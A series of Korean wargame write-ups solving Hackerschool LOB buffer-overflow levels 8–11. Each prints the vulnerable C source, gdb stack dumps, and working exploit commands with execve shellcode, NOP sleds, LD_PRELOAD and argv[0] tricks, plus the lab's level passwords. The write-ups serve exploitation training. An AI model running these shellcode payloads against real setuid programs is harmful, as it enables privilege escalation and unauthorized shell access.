해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이


M4ndU




해커스쿨 LOB [skeleton -> golem] 풀이입니다.


ID | skeleton

PW | shellcoder

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: skeleton

Password:

[skeleton@localhost skeleton]$ bash2

[skeleton@localhost skeleton]$ ls -l

total 16

-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem

-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c

[skeleton@localhost skeleton]$ cat golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - golem

        - stack destroyer

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));



리턴주소부분을 제외하고 모두 0으로 초기화 시켜버리네요....
하지만 남아있는 공간이 하나 있습니다. 바로 공유라이브러리입니다!

일단 문제를 복사하고

[skeleton@localhost skeleton]$ mkdir tmp
[skeleton@localhost skeleton]$ cp golem tmp/
[skeleton@localhost skeleton]$ cd tmp/

빈파일을 하나 만들어서 쉘코드 이름으로 컴파일합니다.

[skeleton@localhost tmp]$ cat > a.c
[skeleton@localhost tmp]$ ls
a.c  golem
[skeleton@localhost tmp]$ gcc -fPIC -shared a.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

그리고 환경변수 LD_PRELOAD에 등록을 해줍니다.

[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

이제 위치를 확인합니다.


[skeleton@localhost tmp]$ gdb golem -q
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r `python -c 'print "D"*44+"\xbf"*4'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "D"*44+"\xbf"*4'`

Breakpoint 1, 0x8048476 in main ()
(gdb) x/1000x $esp-4000
(생략)
0xbffff57c:     0x40017000      0x00002fb2      0x40013868      0xbffff754
0xbffff58c:     0x4000380e      0x40014468      0x90902f2e      0x90909090
0xbffff59c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5ac:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5bc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5cc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5dc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5ec:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffff5fc:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffff60c:     0xffeae805      0xc132ffff      0x30306951      0x30696974
0xbffff61c:     0x8a6f6a63      0x8a5451e4      0x0cb19ae2      0x400081ce
0xbffff62c:     0x40013868      0x4000220c      0xbffffb60      0x00000000
0xbffff63c:     0x00000000      0x00000000      0x00000000      0x40014a00

잘있네요. 0xbffff5cc를 리턴주소로 하겠습니다.

[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\xcc\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA係?
bash$ my-pass
euid = 511
cup of coffee

다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | vampire

PW | music world

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: vampire

Password:

[vampire@localhost vampire]$ bash2

[vampire@localhost vampire]$ ls -l

total 20

-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton

-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i, saved_argc;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        // argc saver

        saved_argc = argc;


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


        // ultra argv hunter!

        for(i=0; i<saved_argc; i++)

                memset(argv[i], 0, strlen(argv[i]));

}


이번에는 모든 argv값을 0으로 초기화 하네요... ㅠㅠ

스택에 뭐라도 남아있을지 모르니 찾아봅시다.


[vampire@localhost vampire]$ mkdir tmp

[vampire@localhost vampire]$ cp skeleton tmp/

[vampire@localhost vampire]$ cd tmp/

[vampire@localhost tmp]$ ./skeleton `python -c 'print "A"*47+"\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?

Segmentation fault (core dumped)

[vampire@localhost tmp]$ gdb -c core -q

Core was generated by `                                                           '.

Program terminated with signal 11, Segmentation fault.

#0  0xbf414141 in ?? ()

(gdb) x/1000s 0xbfffff00

0xbffffff0:      ""
0xbffffff1:      "./skeleton"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
0xc0000000:      <Address 0xc0000000 out of bounds>


어라 argv[0]의 값이 남아있네요.

이 것을 이용해서 문제를 풀면 될 것 같습니다.


[vampire@localhost tmp]$  rename skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` skeleton



이름을 바꿔주고요,

[vampire@localhost tmp]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\xbf\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??
Segmentation fault (core dumped)
[vampire@localhost tmp]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd2 in ?? ()
(gdb) x/100x 0xbfffff00
0xbfffff00:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff10:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff40:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff60:     0x00000000      0x902f2e00      0x90909090      0x90909090
0xbfffff70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc0:     0x90909090      0x90909090      0xeb909090      0xc9315e11
0xbfffffd0:     0x6c8032b1      0x8001ff0e      0xf67501e9      0xeae805eb
0xbfffffe0:     0x32ffffff      0x306951c1      0x69697430      0x6f6a6330
0xbffffff0:     0x5451e48a      0xb19ae28a      0x0081ce0c      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000


리턴주소를 0xbfffff70로 하면 될 것 같습니다.

[vampire@localhost vampire]$  ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x80\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD€?
Segmentation fault

...왜인지 모르겠는데 안되네요. 저번엔 쉘 떴는데..
혀튼 쉘을 따시면 다음 비밀번호가 나옵니다.ㅎ

다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏ







반응형
반응형


해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | troll

PW | aspirin


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: troll

Password:

[troll@localhost troll]$ bash2

[troll@localhost troll]$ ls -l

total 16

-rwsr-sr-x    1 vampire  vampire     12103 Mar  2  2010 vampire

-rw-r--r--    1 root     root          550 Mar 29  2010 vampire.c

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 리턴 주소의 첫바이트는 0xbf 이어야 하고 두번째 바이트는 \xff가 아니어야 하네요.
그런데 스택은 크기가 변할 수 있습니다! 우리가 매우 큰 길이의 값을 넣어 준다면 그만큼 스택이 늘어나겠지요.

이를 이용해서 쉘코드 앞에 \x90을 10만개 넣겠습니다!

[troll@localhost troll]$ mkdir tmp
[troll@localhost troll]$ cp vampire tmp/
[troll@localhost troll]$ cd tmp/
[troll@localhost tmp]$ ./vampire `python -c 'print "D"*44+"\xff\xff\xbf\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD옜
Segmentation fault (core dumped)
[troll@localhost tmp]$ gdb -c core -q
Core was generated by `./vampire DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??릱릱릱릱릱릱릱릱릱릱'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfffff in ?? ()
(gdb) x/1000x $esp
0xbffe7420:     0x00000000      0xbffe7464      0xbffe7474      0x40013868
0xbffe7430:     0x00000003      0x08048380      0x00000000      0x080483a1
0xbffe7440:     0x08048430      0x00000003      0xbffe7464      0x080482e0
0xbffe7450:     0x080484fc      0x4000ae60      0xbffe745c      0x40013e90
0xbffe7460:     0x00000003      0xbffe7572      0xbffe757c      0xbffe75ad
0xbffe7470:     0x00000000      0xbffffc67      0xbffffc7b      0xbffffc93
0xbffe7480:     0xbffffcb2      0xbffffcd4      0xbffffcdf      0xbffffea2
0xbffe7490:     0xbffffec1      0xbffffedc      0xbffffef1      0xbfffff0e
0xbffe74a0:     0xbfffff19      0xbfffff27      0xbfffff2f      0xbfffff39
0xbffe74b0:     0xbfffff49      0xbfffff57      0xbfffff65      0xbfffff76
0xbffe74c0:     0xbfffff81      0xbfffff92      0xbfffffd3      0xbfffffdf
0xbffe74d0:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffe74e0:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffe74f0:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffe7500:     0x00000000      0x00000009      0x08048380      0x0000000b
0xbffe7510:     0x000001fc      0x0000000c      0x000001fc      0x0000000d
0xbffe7520:     0x000001fc      0x0000000e      0x000001fc      0x00000010
0xbffe7530:     0x0f8bfbff      0x0000000f      0xbffe756d      0x00000000
0xbffe7540:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7550:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7560:     0x00000000      0x00000000      0x00000000      0x38366900
0xbffe7570:     0x2f2e0036      0x706d6176      0x00657269      0x44444444
0xbffe7580:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe7590:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe75a0:     0x44444444      0x44444444      0xbfbfffff      0x90909000
0xbffe75b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7600:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7610:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7620:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7630:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7640:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7650:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7660:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7670:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7680:     0x90909090      0x90909090      0x90909090      0x90909090


와우 스택주소가 0xbffe부터 시작합니다!
\x90이 10만개가 들어가 있으니 아무 \x90이 들어 있는 곳을 리턴 주소로 잡으면 됩니다.
저는 \xbffe7660으로 잡겠습니다.


[troll@localhost troll]$ ./vampire `python -c 'print "D"*44+"\x60\x76\xfe\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD`v

bash$ my-pass

euid = 509

music world



성공! 다음레벨로 가 즈 아

반응형
반응형


해커스쿨 LOB LEVEL8 [orge -> troll] 풀이


M4ndU




해커스쿨 LOB [orge -> troll] 풀이입니다.


ID | orge

PW | timewalker


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: orge

Password:

[orge@localhost orge]$ bash2

[orge@localhost orge]$ ls -l

total 20

-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll

-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c

[orge@localhost orge]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        // here is changed

        if(argc != 2){

                printf("argc must be two!\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


        // one more!

        memset(argv[1], 0, strlen(argv[1]));

}



        // here is changed

        if(argc != 2){

                printf("argc must be two!\n");

                exit(0);

        }


이번에는 argv[0] 과 argv[1]밖에 사용할 수 없는데,


        // one more!

        memset(argv[1], 0, strlen(argv[1]));


argv[1]을 모두 0으로 초기화시켜버리네요.

쉘코드가 들어갈 수 있는 곳은 argv[0]뿐이네요.

파일이름을 쉘코드로 하고 argv[0]의 주소를 리턴주소로 하면 될 것 같습니다.

그러나! 파일명을 변경하려고 하면 없는 파일이라고 되지 않을 것인데요.

그 이유는 쉘코드에 있는 \x2f가 /로 읽혀서 그런 것입니다. 그래서 \x2f가 없는 쉘코드를 사용해야 합니다.

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


[orge@localhost orge]$ rename troll `python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` troll



그다음 tmp폴더에 복사해서 core dump를 일으키고 분석을 합니다.



[orge@localhost orge]$ mkdir tmp

[orge@localhost orge]$ cp `python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` tmp

[orge@localhost orge]$ cd tmp

[orge@localhost tmp]$ ./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\xff\xff\xff\xbf"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?

Segmentation fault (core dumped)

[orge@localhost tmp]$ gdb -c core -q

Core was generated by `./릱릱릱릱릱릱릱릱릱릱?12€l€?楕凹2핽i00tii0cjo듾QT듼슧

?        '.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/1000x $esp

0xbffffa40:     0x00000000      0xbffffa84      0xbffffa90      0x40013868

0xbffffa50:     0x00000002      0x08048450      0x00000000      0x08048471

(생략)

0xbffffb70:     0x00000000      0x00000000      0x36383669      0x902f2e00

0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffb90:     0xeb909090      0xc9315e11      0x6c8032b1      0x8001ff0e

0xbffffba0:     0xf67501e9      0xeae805eb      0x32ffffff      0x306951c1

0xbffffbb0:     0x69697430      0x6f6a6330      0x5451e48a      0xb19ae28a

0xbffffbc0:     0x0081ce0c      0x00000000      0x00000000      0x00000000


0xbffffb80을 리턴주소로 하겠습니다.


[orge@localhost orge]$ ./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x80\xfb\xff\xbf"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD€??

bash$ my-pass

euid = 508

aspirin


성공입니다!! 다음레벨로 가Gㅡ아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts